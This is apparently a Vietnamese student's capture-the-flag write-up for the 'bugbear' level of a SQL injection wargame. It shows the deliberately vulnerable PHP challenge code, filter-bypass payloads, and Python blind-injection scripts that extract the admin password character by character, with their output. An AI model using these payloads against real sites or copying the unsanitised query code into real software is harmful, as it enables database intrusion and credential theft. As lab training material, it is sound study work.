query : **select id from prob_bugbear where id='guest' and pw='' and no=**

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
  highlight_file(__FILE__);
?>
```

Bài toán tiếp tục tìm pw. Với những filter: substr, ascii, =, or, and, like, 0x. Có vẻ bài toán này filter chặt hơn những vài trước.

Thử thay dấu "=" bằng in thay vì like như bài trước và khoảng cách sẽ được thay thế bằng /**/

---

query : **select id from prob_bugbear where id='guest' and pw='' and no=1/**/||id/**/in/**/("admin")#**

Hello admin

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
  highlight_file(__FILE__);
?>
```

Vậy là có thể sql injection được.

Code tìm độ dài pw

```python
for i in range(1, 30):
    payload = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/length(pw)/**/in/**/(\"{}\")/**/#".format(i)
    payload = urllib.quote(payload)
    url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no="+payload
    print(url)
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie', 'PHPSESSID=fj1a9mg2u3bkn3gnaq4gu7t0hh')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
    if bytes("Hello admin", 'utf-8') in data:
        #print("len: ", str(i))
        leng = i
        break
    else:
        print("check with i = ", i)

    time.sleep(0.2)
```

Kết quả

```
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1/%2A%2A/%7C%7C/%2A%2A/id/%2A%2A/in/%2A%2A/%28%22admin%22%29/%2A%2A/%26%26/%2A%2A/length%28pw%29/%2A%2A/in/%2A%2A/%28%225%22%29/%2A%2A/%23
check with i =  5
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1/%2A%2A/%7C%7C/%2A%2A/id/%2A%2A/in/%2A%2A/%28%22admin%22%29/%2A%2A/%26%26/%2A%2A/length%28pw%29/%2A%2A/in/%2A%2A/%28%226%22%29/%2A%2A/%23
check with i =  6
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1/%2A%2A/%7C%7C/%2A%2A/id/%2A%2A/in/%2A%2A/%28%22admin%22%29/%2A%2A/%26%26/%2A%2A/length%28pw%29/%2A%2A/in/%2A%2A/%28%227%22%29/%2A%2A/%23
check with i =  7
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1/%2A%2A/%7C%7C/%2A%2A/id/%2A%2A/in/%2A%2A/%28%22admin%22%29/%2A%2A/%26%26/%2A%2A/length%28pw%29/%2A%2A/in/%2A%2A/%28%228%22%29/%2A%2A/%23
8
PS C:\Users\xkhan>
```

Tiếp theo ta sẽ brute force pw nhưng vì không thể sử dụng ascii sẽ sử dụng hex để thay thế

```python
key = ""
print (leng)
for i in range(1, leng+1):
    for j in range(48,122):
        payload = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/hex(mid(pw,{},1))/**/in/**/(hex({}))/**/#".format(i,j)
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no="+payload

        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('Cookie', 'PHPSESSID=fj1a9mg2u3bkn3gnaq4gu7t0hh')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()

        if bytes("Hello admin", 'utf-8') in data:
            print("Password: ",chr(j))
            key+=chr(j)
            break

        time.sleep(0.2)

print(key)
```

Kết quả

```
PS C:\Users\xkhan> & python d:/TinHoc/NT213.L21.ANTN/Baitap/BTLab3/BugBear.py
8
Password:  5
Password:  2
Password:  d
Password:  c
Password:  3
Password:  9
Password:  9
Password:  1
52dc3991
```

---

query : **select id from prob_bugbear where id='guest' and pw='52dc3991' and no=**

BUGBEAR Clear!

```php
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
  highlight_file(__FILE__);
?>
```